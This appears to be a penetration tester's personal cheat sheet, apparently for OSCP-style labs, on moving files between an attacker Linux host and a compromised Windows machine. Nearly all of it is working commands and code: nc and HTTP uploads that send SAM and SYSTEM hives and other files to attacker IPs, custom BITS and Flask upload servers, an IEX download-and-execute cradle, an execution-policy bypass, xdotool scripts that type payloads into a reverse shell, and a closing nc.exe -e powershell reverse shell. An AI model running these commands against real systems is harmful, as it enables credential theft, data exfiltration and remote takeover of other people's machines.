🪟Windows File Transfers
Transfer from windows to Linux
With interactive shell
#scp
This only works with interactive shells
scp macro.doc cyber02@192.168.45.212:/home/cyber02/Desktop/
Without an interactive shell
#nc (not that reliable with binaries like SAM and SYSTEM)
Attacker
nc -lvnp 80 > linpeas.out
Victim
type filename.txt | .\nc.exe -vn 10.10.203.147 2222
Watch for the file size
watch -n 0.2 ls -l
Using PUT request
Attacker
/home/cyber02/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
Victim
Invoke-WebRequest -Uri http://192.168.45.184/linpeas.out -Method PUT -InFile linpeas.out
Or (-UseBasicParsing tells PowerShell: don’t try to parse HTML or XML, just return the raw response.)
Invoke-WebRequest -Uri http://10.10.14.12/tasks.txt -Method PUT -InFile tasks.txt -UseBasicParsing
Or
curl.exe -T linpeas.out http://192.168.45.184/
Using BITS_PUT Request
using BITS_PUT request with bitsadmin windows tool
Attacker
use either use the SimpleBITSServer python2 script from GitHub (https://github.com/SafeBreach-Labs/SimpleBITSServer/blob/master/SimpleBITSServer/SimpleBITSServer.py)
python2 SimpleBITSServer.py 80
or the custom python3 ready version fixed with ai
#!/usr/bin/env python3
"""
A simple BITS server in python based on SimpleHTTPRequestHandler
* Supports both Download and Upload jobs (excluding Upload-Reply)
* Example client usage using PowerShell:
> Import-Module BitsTransfer
> Start-BitsTransfer -TransferType Upload -Source C:\temp\to_upload.txt -Destination http://127.0.0.1/to_upload.txt -DisplayName TEST
References: https://msdn.microsoft.com/en-us/library/windows/desktop/aa362828(v=vs.85).aspx
https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MC-BUP/[MC-BUP].pdf
"""
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
# BITS Protocol header keys
K_BITS_SESSION_ID = 'BITS-Session-Id'
K_BITS_ERROR_CONTEXT = 'BITS-Error-Context'
K_BITS_ERROR_CODE = 'BITS-Error-Code'
K_BITS_PACKET_TYPE = 'BITS-Packet-Type'
K_BITS_SUPPORTED_PROTOCOLS = 'BITS-Supported-Protocols'
K_BITS_PROTOCOL = 'BITS-Protocol'
# HTTP Protocol header keys
K_ACCEPT_ENCODING = 'Accept-Encoding'
K_CONTENT_NAME = 'Content-Name'
K_CONTENT_LENGTH = 'Content-Length'
K_CONTENT_RANGE = 'Content-Range'
K_CONTENT_ENCODING = 'Content-Encoding'
# BITS Protocol header values
V_ACK = 'Ack'
# BITS server errors
class BITSServerHResult:
BG_ERROR_CONTEXT_REMOTE_FILE = hex(0x5)
BG_E_TOO_LARGE = hex(0x80200020)
E_INVALIDARG = hex(0x80070057)
E_ACCESSDENIED = hex(0x80070005)
ZERO = hex(0x0)
ERROR_CODE_GENERIC = hex(0x1)
class HTTPStatus:
OK = 200
CREATED = 201
BAD_REQUEST = 400
FORBIDDEN = 403
NOT_FOUND = 404
CONFLICT = 409
REQUESTED_RANGE_NOT_SATISFIABLE = 416
INTERNAL_SERVER_ERROR = 500
NOT_IMPLEMENTED = 501
class BITSServerException(Exception):
pass
class ClientProtocolNotSupported(BITSServerException):
def __init__(self, supported_protocols):
super().__init__("Server supports neither of the requested protocol versions")
self.requested_protocols = str(supported_protocols)
class ServerInternalError(BITSServerException):
def __init__(self, internal_exception):
super().__init__("Internal server error encountered")
self.internal_exception = internal_exception
class InvalidFragment(BITSServerException):
def __init__(self, last_range_end, new_range_start):
super().__init__("Invalid fragment received on server")
self.last_range_end = last_range_end
self.new_range_start = new_range_start
class FragmentTooLarge(BITSServerException):
def __init__(self, fragment_size):
super().__init__("Oversized fragment received on server")
self.fragment_size = fragment_size
class UploadAccessDenied(BITSServerException):
def __init__(self):
super().__init__("Write access to requested file upload is denied")
class BITSUploadSession:
files_in_use = []
def __init__(self, absolute_file_path, fragment_size_limit):
self.fragment_size_limit = fragment_size_limit
self.absolute_file_path = absolute_file_path
self.fragments = []
self.expected_file_length = -1
if os.path.exists(self.absolute_file_path):
if os.path.isdir(self.absolute_file_path):
self._status_code = HTTPStatus.FORBIDDEN
elif self.absolute_file_path in BITSUploadSession.files_in_use:
self._status_code = HTTPStatus.CONFLICT
else:
BITSUploadSession.files_in_use.append(self.absolute_file_path)
self.__open_file()
elif os.path.exists(os.path.dirname(self.absolute_file_path)):
BITSUploadSession.files_in_use.append(self.absolute_file_path)
self.__open_file()
else:
self._status_code = HTTPStatus.FORBIDDEN
def __open_file(self):
try:
self.file = open(self.absolute_file_path, "wb")
self._status_code = HTTPStatus.OK
except Exception:
self._status_code = HTTPStatus.FORBIDDEN
def __get_final_data_from_fragments(self):
return b"".join([frg['data'] for frg in self.fragments])
def get_last_status_code(self):
return self._status_code
def add_fragment(self, file_total_length, range_start, range_end, data):
if self.fragment_size_limit < range_end - range_start:
raise FragmentTooLarge(range_end - range_start)
if self.expected_file_length == -1:
self.expected_file_length = file_total_length
last_range_end = self.fragments[-1]['range_end'] if self.fragments else -1
if last_range_end + 1 < range_start:
raise InvalidFragment(last_range_end, range_start)
elif last_range_end + 1 > range_start:
range_start = last_range_end + 1
self.fragments.append({'range_start': range_start,
'range_end': range_end,
'data': data})
if range_end + 1 == self.expected_file_length:
self.file.write(self.__get_final_data_from_fragments())
return True
return False
def close(self):
self.file.flush()
self.file.close()
BITSUploadSession.files_in_use.remove(self.absolute_file_path)
class SimpleBITSRequestHandler(SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
base_dir = os.getcwd()
supported_protocols = ["{7df0354d-249b-430f-820d-3d2a9bef4931}"]
fragment_size_limit = 100*1024*1024
def __send_response(self, headers_dict={}, status_code=HTTPStatus.OK, data=b""):
self.send_response(status_code)
for k, v in headers_dict.items():
self.send_header(k, v)
self.end_headers()
if isinstance(data, str):
data = data.encode('utf-8')
self.wfile.write(data)
def __release_resources(self):
headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
try:
session_id = self.headers.get(K_BITS_SESSION_ID, None).lower()
headers[K_BITS_SESSION_ID] = session_id
self.log_message("Closing BITS-Session-Id: %s", session_id)
self.sessions[session_id].close()
self.sessions.pop(session_id, None)
status_code = HTTPStatus.OK
except AttributeError:
self.__send_response(headers, status_code=HTTPStatus.BAD_REQUEST)
return
except Exception as e:
raise ServerInternalError(e)
self.__send_response(headers, status_code=status_code)
def _handle_fragment(self):
headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
try:
session_id = self.headers.get(K_BITS_SESSION_ID, None).lower()
content_length = int(self.headers.get(K_CONTENT_LENGTH, 0))
content_range = self.headers.get(K_CONTENT_RANGE, None).split(" ")[-1]
crange, total_length = content_range.split("/")
total_length = int(total_length)
range_start, range_end = [int(num) for num in crange.split("-")]
data = self.rfile.read(content_length)
headers[K_BITS_SESSION_ID] = session_id
is_last_fragment = self.sessions[session_id].add_fragment(
total_length, range_start, range_end, data)
headers['BITS-Received-Content-Range'] = str(range_end + 1)
status_code = HTTPStatus.OK
except InvalidFragment as e:
headers[K_BITS_ERROR_CODE] = BITSServerHResult.ZERO
headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
status_code = HTTPStatus.REQUESTED_RANGE_NOT_SATISFIABLE
self.log_message("ERROR processing new fragment (BITS-Session-Id: %s). New fragment range (%d) is not contiguous with last received (%d).",
session_id, e.new_range_start, e.last_range_end)
except FragmentTooLarge as e:
headers[K_BITS_ERROR_CODE] = BITSServerHResult.BG_E_TOO_LARGE
headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
status_code = HTTPStatus.INTERNAL_SERVER_ERROR
self.log_message("ERROR processing new fragment (BITS-Session-Id: %s). New fragment size (%d) exceeds server limit (%d).",
session_id, e.fragment_size, self.fragment_size_limit)
except Exception as e:
raise ServerInternalError(e)
self.__send_response(headers, status_code=status_code)
def _handle_ping(self):
self.log_message("PING RECEIVED")
headers = {K_BITS_PACKET_TYPE: V_ACK, K_BITS_ERROR_CODE: '1', K_BITS_ERROR_CONTEXT: '', K_CONTENT_LENGTH: '0'}
self.__send_response(headers, status_code=HTTPStatus.OK)
def __get_current_session_id(self):
return str(hash((self.connection.getpeername()[0], self.path)))
def _handle_cancel_session(self):
self.log_message("CANCEL-SESSION RECEIVED")
return self.__release_resources()
def _handle_close_session(self):
self.log_message("CLOSE-SESSION RECEIVED")
return self.__release_resources()
def _handle_create_session(self):
self.log_message("CREATE-SESSION RECEIVED")
headers = {K_BITS_PACKET_TYPE: V_ACK, K_CONTENT_LENGTH: '0'}
if not hasattr(self, "sessions"):
self.sessions = dict()
try:
client_supported_protocols = self.headers.get(K_BITS_SUPPORTED_PROTOCOLS, "").lower().split(" ")
protocols_intersection = set(client_supported_protocols).intersection(self.supported_protocols)
if protocols_intersection:
headers[K_BITS_PROTOCOL] = list(protocols_intersection)[0]
requested_path = self.path[1:] if self.path.startswith("/") else self.path
absolute_file_path = os.path.join(self.base_dir, requested_path)
session_id = self.__get_current_session_id()
self.log_message("Creating BITS-Session-Id: %s", session_id)
if session_id not in self.sessions:
self.sessions[session_id] = BITSUploadSession(absolute_file_path, self.fragment_size_limit)
headers[K_BITS_SESSION_ID] = session_id
status_code = self.sessions[session_id].get_last_status_code()
if status_code == HTTPStatus.FORBIDDEN:
raise UploadAccessDenied()
else:
raise ClientProtocolNotSupported(client_supported_protocols)
except ClientProtocolNotSupported as e:
status_code = HTTPStatus.BAD_REQUEST
headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_INVALIDARG
headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
self.log_message("ERROR creating new session - protocol mismatch")
except UploadAccessDenied as e:
headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_ACCESSDENIED
headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
status_code = HTTPStatus.FORBIDDEN
self.log_message("ERROR creating new session - Access Denied")
except Exception as e:
raise ServerInternalError(e)
if status_code in (HTTPStatus.OK, HTTPStatus.CREATED):
headers[K_ACCEPT_ENCODING] = 'identity'
self.__send_response(headers, status_code=status_code)
def do_BITS_POST(self):
headers = {}
bits_packet_type = self.headers.get_all(K_BITS_PACKET_TYPE, [""])[0].lower()
try:
do_function = getattr(self, f"_handle_{bits_packet_type.replace('-', '_')}")
try:
do_function()
return
except ServerInternalError as e:
status_code = HTTPStatus.INTERNAL_SERVER_ERROR
headers[K_BITS_ERROR_CODE] = BITSServerHResult.ERROR_CODE_GENERIC
self.log_message("Internal BITS Server Error: %s", str(e))
except AttributeError:
status_code = HTTPStatus.BAD_REQUEST
headers[K_BITS_ERROR_CODE] = BITSServerHResult.E_INVALIDARG
headers[K_BITS_ERROR_CONTEXT] = BITSServerHResult.BG_ERROR_CONTEXT_REMOTE_FILE
self.__send_response(headers, status_code=status_code)
def run(server_class=HTTPServer, handler_class=SimpleBITSRequestHandler, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print('Starting BITS server...')
httpd.serve_forever()
if __name__ == "__main__":
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
After adding a dynamic link use:
sudo ln -s /home/cyber02/Desktop/OSCP-Tools/Custom/bitsadmin_server.py /usr/local/bin/bitsadmin_server
Simply use
bitsadmin_server 80
Victim
bitsadmin /transfer myUploadJob /upload http://10.10.14.28/tasks.txt c:\Users\mark\tasks.txt
Manual Base64 Transfer
For an accurate and correct file transfer we use base64
Encode the file
certutil -encode SAM SAM.b64
Transfer the file
type C:\windows.old\windows\system32\SAM.b64 | .\nc.exe -vn 10.10.203.147 2222
Receive the file
nc -lnvp 2222 > SYSTEM.b64
Watch the file while receiving it
watch -n 0.2s ls -l
Remove header and footer
sed -i '/-----BEGIN CERTIFICATE-----/d;/-----END CERTIFICATE-----/d' SAM.b64
Remove space, new lines and Carriage return chars
tr -d '\n\r ' < SYSTEM.b64 > SYSTEM_fixed.b64
Decode the file
base64 -d SAM_fixed.b64 > SAM
Automated base64 transfer (Text Only)
#python_django
Victim
Victim one liner
$base64 = [Convert]::ToBase64String((Get-Content -Path "file.txt" -Encoding Byte)); Invoke-RestMethod -Uri "http://192.168.45.199:5000/upload" -Method Post -Headers @{"Content-Type"="application/json"} -Body (@{"file"=$base64} | ConvertTo-Json)
Attacker Django App (PythonFlask.py)
from flask import Flask, request
import base64
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload():
data = request.json.get("file")
if data:
with open("output.txt", "wb") as f:
f.write(base64.b64decode(data))
return {"message": "File saved"}, 200
return {"error": "No file data"}, 400
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
Attacker
Attacker Django web server start
python PythonFlask.py
Automated base64 transfer (Binary & Large files)
#python_django_chunked
Attacker
The Django web server handling the file upload UploadServer.py
#!/usr/bin/env python3
from flask import Flask, request, jsonify
import base64
import os
app = Flask(__name__)
# Define upload directory and chunk storage
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
@app.route('/upload', methods=['POST'])
def upload_file():
# Get upload metadata
filename = request.json.get('filename', 'uploaded_file')
total_chunks = request.json.get('totalChunks', 0)
current_chunk = request.json.get('currentChunk', 0)
chunk_data = request.json.get('chunk', '')
# Validate chunk data
if not chunk_data:
return jsonify({"error": "No chunk data"}), 400
# Decode base64 chunk
try:
decoded_chunk = base64.b64decode(chunk_data)
except Exception as e:
return jsonify({"error": f"Chunk decoding error: {str(e)}"}), 400
# Construct file path
file_path = os.path.join(UPLOAD_FOLDER, filename)
# Write or append chunk
mode = 'ab' if current_chunk > 0 else 'wb'
try:
with open(file_path, mode) as f:
f.write(decoded_chunk)
except Exception as e:
return jsonify({"error": f"File write error: {str(e)}"}), 500
# Check if all chunks are received
if current_chunk + 1 >= total_chunks:
return jsonify({
"message": "File upload complete",
"filename": filename,
"path": file_path
}), 200
return jsonify({
"message": "Chunk received",
"currentChunk": current_chunk + 1
}), 206
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
Start The Upload server
Python UploadServer.py
I’ve created a symbolic link for the script to make calling it easier
sudo ln -s /home/cyber02/Desktop/OSCP-Tools/Custom/UploadServer.py /usr/local/bin/UploadServer
chmod +x /home/cyber02/Desktop/OSCP-Tools/Custom/UploadServer.py
Victim
Using Transfer Script
function Upload-LargeFile {
param(
[string]$FilePath,
[string]$UploadUrl = "http://192.168.45.199:5000/upload",
[int]$ChunkSizeBytes = 1MB
)
# Read file and prepare for chunked upload
$fileName = Split-Path $FilePath -Leaf
$fileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$totalChunks = [Math]::Ceiling($fileBytes.Length / $ChunkSizeBytes)
# Upload chunks
for ($chunk = 0; $chunk -lt $totalChunks; $chunk++) {
# Calculate chunk
$start = $chunk * $ChunkSizeBytes
$length = [Math]::Min($ChunkSizeBytes, $fileBytes.Length - $start)
$chunkBytes = $fileBytes[$start..($start + $length - 1)]
# Base64 encode chunk
$chunkBase64 = [Convert]::ToBase64String($chunkBytes)
# Prepare payload
$payload = @{
filename = $fileName
totalChunks = $totalChunks
currentChunk = $chunk
chunk = $chunkBase64
} | ConvertTo-Json
# Send chunk
$response = Invoke-RestMethod -Uri $UploadUrl -Method Post -Body $payload -ContentType "application/json"
Write-Host "Uploaded chunk $($chunk + 1) of $totalChunks"
}
Write-Host "File upload complete: $fileName"
}
# Example usage
#Upload-LargeFile -FilePath "C:\path\to\your\largefile.txt"
Load the script
. .\transfer.ps1
Bypass PowerShell policy
#PS_Bypass_Policy
Set-ExecutionPolicy Bypass -Scope Process -Force
Transfer the file
Upload-LargeFile -FilePath "winpeas.exe"
One Liner Transfer
$u="http://192.168.45.199:5000/upload";$f="winpeas.exe";$c=1MB;$fn=Split-Path $f -Leaf;$b=[System.IO.File]::ReadAllBytes($f);$t=[Math]::Ceiling($b.Length/$c);0..$($t-1)|%{$s=$_*$c;$l=[Math]::Min($c,$b.Length-$s);$ch=$b[$s..($s+$l-1)];$cb=[Convert]::ToBase64String($ch);Invoke-RestMethod -Uri $u -Method Post -Body (@{filename=$fn;totalChunks=$t;currentChunk=$_;chunk=$cb}|ConvertTo-Json) -ContentType "application/json"}
SMB
#smb
Attacker
#impacket_smb
impacket-smbserver test . -smb2support -username cyber02 -password cyber02
Or
smbserver.py test . -smb2support -username cyber02 -password cyber02
#native_linux_smb
sudo subl /etc/samba/smb.conf
Add this share line below
[test]
path = /srv/smb
guest ok = yes
browseable = yes
writable = yes
create mask = 0600
Now, we will start the smb server.
sudo service smbd start
To check if our smb server is running, we can use smbclient to check if the share is accessible.
smbclient //10.10.14.28/test -N
Victim
before transferring file to or from the native linux samba, change the directory permissions
chmod 777 /srv/smb
net use m: \\192.168.45.201\test /user:cyber02 cyber02
copy mimikatz.log m:\
Or simpler
copy file.txt \\10.10.14.28\test\
Base64 Auto-Terminal-Paste
In the case where the machine does not have any tools or for some reason nothing worked, we can transfer a file in chunks by copy pasting automatically using xdotool
Attacker
Start by base64 encoding nc64.exe to 20 chunks
base64 -w0 nc64.exe | split -n 20 -d - nc64.part_
use the autosend_final.sh custom bash script to transfer the file, while naming the terminal with the rev shell “rev”
#!/bin/bash
set -u
WIN_NAME="rev"
WIN_ID=$(xdotool search --name "$WIN_NAME" | head -n 1)
if [ -z "$WIN_ID" ]; then
echo "[!] Could not find a window with name: $WIN_NAME"
exit 1
fi
sleep 5
MAIN_PID=$$
PIDFILE="/tmp/xdotool_pid.$MAIN_PID"
WATCHDOG_PIDFILE="/tmp/xd_watchdog.$MAIN_PID"
sleep 1
echo "[*] Targeting window ID: $WIN_ID ($(xdotool getwindowname $WIN_ID))"
echo "[i] Switch to another window to stop this script."
# Start watchdog: will kill xdotool (by PID from $PIDFILE) then kill main script.
(
while true; do
CURR_ID=$(xdotool getwindowfocus 2>/dev/null || echo "")
if [[ "$CURR_ID" != "$WIN_ID" ]]; then
echo "[!] Focus moved away from target window. Killing ongoing typing..."
# kill last-known xdotool PID if present
if [[ -f "$PIDFILE" ]]; then
read -r XDO_PID < "$PIDFILE" || XDO_PID=""
if [[ -n "$XDO_PID" ]]; then
kill "$XDO_PID" 2>/dev/null || true
sleep 0.05
kill -9 "$XDO_PID" 2>/dev/null || true
fi
fi
# also try to kill any xdotool children of THIS script (extra safety)
pkill -P "$MAIN_PID" -x xdotool 2>/dev/null || true
# fallback: kill any remaining 'xdotool type' procs
pkill -f "xdotool type" 2>/dev/null || true
# finally kill the main script
kill -TERM "$MAIN_PID" 2>/dev/null || kill -9 "$MAIN_PID" 2>/dev/null || true
exit 0
fi
sleep 0.05
done
) &
WATCHDOG_PID=$!
echo "$WATCHDOG_PID" > "$WATCHDOG_PIDFILE"
# Parameters: adjust SEGMENT_LEN for smaller/faster checks
SEGMENT_LEN=200 # characters per xdotool invocation (lower -> more checks but slower)
cleanup() {
rm -f "$PIDFILE" "$WATCHDOG_PIDFILE"
kill "$WATCHDOG_PID" 2>/dev/null || true
}
trap cleanup EXIT INT TERM
for f in nc64.part_*; do
echo "[*] Processing file: $f"
chunk=$(cat "$f")
# command we want typed: echo <base64 chunk> >> nc64.b64
cmd="echo $chunk >> nc64.b64"
echo "[>] Sending preview: ${cmd:0:60}... "
# Activate target window (so keystrokes go there)
xdotool windowactivate --sync "$WIN_ID"
# Type the command in segments. For each segment we:
# - write segment to a tmp file
# - start `xdotool type --file tmp` in background
# - record its PID in $PIDFILE so watchdog can kill it if needed
# - wait for it to finish (or be killed) before sending next segment
len=${#cmd}
pos=0
TMP=""
while (( pos < len )); do
seg=${cmd:pos:SEGMENT_LEN}
TMP=$(mktemp)
printf '%s' "$seg" > "$TMP"
# start typing this segment in background, capture PID
xdotool type --file "$TMP" &
XDO_PID=$!
echo "$XDO_PID" > "$PIDFILE"
# wait for this xdotool instance (it may be killed by watchdog)
wait "$XDO_PID" 2>/dev/null || true
rm -f "$TMP"
# if focus moved, watchdog would have killed xdotool and the main process
# but in case we continue, check focus now
CURRENT_FOCUS=$(xdotool getwindowfocus 2>/dev/null || echo "")
if [[ "$CURRENT_FOCUS" != "$WIN_ID" ]]; then
echo "[!] Focus moved away from target window. Exiting..."
exit 0
fi
(( pos += SEGMENT_LEN ))
done
# finished typing the whole command; press Return
xdotool key Return
echo "[+] Sent $f"
# small pause between files
sleep 0.2
done
echo "[✔] All chunks sent!"
cleanup
./autosend_final.sh
Or using clipboard for faster transfer:
#!/bin/bash
set -u
WIN_NAME="rev"
WIN_ID=$(xdotool search --name "$WIN_NAME" | head -n 1)
if [ -z "$WIN_ID" ]; then
echo "[!] Could not find a window with name: $WIN_NAME"
exit 1
fi
echo "[*] Targeting window ID: $WIN_ID ($(xdotool getwindowname $WIN_ID))"
echo "[i] Switch to another window to stop this script."
for f in nc64.part_*; do
echo "[*] Processing file: $f"
chunk=$(cat "$f")
cmd="echo $chunk >> nc64.b64"
# Copy command into clipboard (requires xclip or xsel)
printf '%s' "$cmd" | xclip -selection clipboard
# Activate window and paste
xdotool windowactivate --sync "$WIN_ID"
xdotool key Ctrl+Shift+v
xdotool key Return
echo "[+] Sent $f"
sleep 0.1
done
echo "[✔] All chunks sent!"
./auto_clipboard_send.sh
Victim
After the script finishes running, decode the nc64.b64 file
certutil -decode nc64.b64 nc64.exe
Rclone.exe
#rclone
Attacker
/home/cyber02/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root .
Victim
.\rclone.exe copy "C:\users\public\test.txt" :webdav: --webdav-url http://10.10.14.20/
Transfer from Linux to windows
Attacker
python -m http.server 80
Victim
#iex
Download and execute immediately:
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.187:443/SharpHound.ps1")
OR
#certutil
certutil -urlcache -split -f http://192.168.45.187:443/SharpHound.ps1
to save in temp directory
certutil -urlcache -split -f http://192.168.45.187:443/SharpHound.ps1 C:\Users\tony\AppData\Local\Temp\SharpHound.ps1
OR
#iwr
iwr -Uri http://192.168.45.187:443/SharpHound.ps1 -OutFile "SharpHound.ps1"
OR
#curl
curl 192.168.45.199:8000/Invoke-ConPtyShell.ps1 -o Invoke-ConPtyShell.ps1
==LIGOLO Tunneled Transfer==
#ligolo
when we have a tunnel, we either use Evil-Winrm built in upload/download, or set up a ligolo-ng listener just for file transfers
Attacker machine in ligolo session:
listener_add --addr 0.0.0.0:2000 --to 0.0.0.0:8000
python -m http.server 8000
Victim machine (with ip 10.10.80.141 the one with ligolo agent)
certutil -urlcache -split -f http://10.10.80.141:2000/winPEAS.exe winPEAS.exe
Base64 transfer
#base64
Attacker
base64 -w 0 test.zip
Victim
echo UEsDBAoAAAAAANVdVVoAAAAAAAAAAAAAAAAFABwAdGVzdC9VVAkAA4FLuGeBS7hndXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAMBek1l5p5yi9QEAANQCAAAPABwAdGVzdC9EZWNvZGUyLnB5VVQJAAM37WNngUu4Z3V4CwABBOgDAAAE6AMAAH1SQW/TMBS+51dYXUQSCU0t4oBGEAiqAkMaYwO324QyN3FIqi6pUpd1YpUiBAiJoY4Lu0xQVtETh2jTBKi3/ILnv5Bfgp20leCApWc/P7/ve5/t51AXuWG0R5jVC3w7dKjFQqvbITZ1LI/2dYcwYqwoSIxSqXQvDF7SiKFnRS5itM8QC1EBQAIwYxO5OWYJzSEiq3nAaDcPR2TfynfoFpIVlmkg+XRNHsyF0K5NOlQz/iGixPZyKkkpK5LAQa3QD9C+z7xCyqwKZb0oQBrSluW57mqvmivla/2BJlWiJhKYhRJDUZbQ48h/4QekjboebbelCmXhCaklHvMj+JXFya4wuKzAmZPFvzfKcppZpKc/V69U+LACx+kPkxxeRfAJvsIJnPN4oz7LumvCSCx3+lk8gWO2CqN1sX0grIFgDBfmQ+FeFwaTOVXBcgOSHn8z4O9vDtQenDckQoWxK9ZH0oexmCVO0CdVVd3ZIVvbT/gQkoa1LePTLB499+w9R97gol6vV/i71hYW6j66cFJVTTiqqvC5+nQdY1zDaxhvYu8ATm8LnKD5LmHJGq7xYdnL4m+7MpZOeZxe8i/YSydZfAZv+akMm4fwmn8QgtPp/ShsbcpYST5zLe+R/OM6kR8wpWgaVvSceOj/tuTiRwwlR+t/oQ3lD1BLAQIeAwoAAAAAANVdVVoAAAAAAAAAAAAAAAAFABgAAAAAAAAAEAD9QQAAAAB0ZXN0L1VUBQADgUu4Z3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAMBek1l5p5yi9QEAANQCAAAPABgAAAAAAAEAAAC0gT8AAAB0ZXN0L0RlY29kZTIucHlVVAUAAzftY2d1eAsAAQToAwAABOgDAABQSwUGAAAAAAIAAgCgAAAAfQIAAAAA > encoded.txt
certutil -decode encoded.txt test.zip
Python Upload Server
install python uploadserver
python -m pip install uploadserver --break-system-packages
start the upload server
python -m uploadserver 8008
in victim upload using any web browser or using a post request to /upload
Invoke-WebRequest -Uri "http://192.168.1.1:8008/upload" -Method Post -Form @{ files = Get-Item "C:\Path\To\File.txt" }
using curl:
curl -F "files=@C:\Path\To\File.txt" http://192.168.1.1:8008/upload
using python:
python3 -c "import requests; files = {'files': open(r'/tmp/VM14_linpeas.out', 'rb')}; r = requests.post('http://192.168.45.174:80/upload', files=files); print(r.text)"
Samba SMB
before transferring file to or from the native linux samba, change the directory permissions
chmod 777 /srv/smb
copy \\10.10.14.28\test\file.txt .
Impacket SMB
Attacker
impacket-smbserver share . -smb2support -username df -password df
Victim
Map the share created
net use \\10.10.14.20\share /u:df df
Now copy nc64.exe to programdata, and connect back with a shell
copy \\10.10.14.20\share\nc64.exe \programdata\nc64.exe
get a rev shell
\programdata\nc.exe -e powershell 10.10.14.20 80